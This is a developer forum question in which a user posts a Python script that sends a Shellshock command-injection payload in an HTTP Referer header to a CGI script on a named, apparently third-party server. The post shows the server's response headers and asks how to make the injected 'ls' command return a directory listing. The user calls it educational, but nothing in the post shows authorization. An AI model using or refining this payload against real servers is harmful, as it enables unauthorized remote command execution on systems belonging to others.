Click here to Skip to main content
15,884,472 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
See more:
i have following script in python

C#
headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)

and
r.headers

is
VB
{
'x-rdir': '""', 'x-vps': 'yes',
 'transfer-encoding': 'chunked',
 'server': 'Apache/1.3.29',
 'connection': 'close',
 'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
 'ls_result': '()',
'content-type': 'text/html'
}

when i passing y="(ls)" in header. i am getting 'ls_result': '(ls)' in response header. why $ stripping from my input? how can list directory in response header ? PS: this is for educational purpose
Posted

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900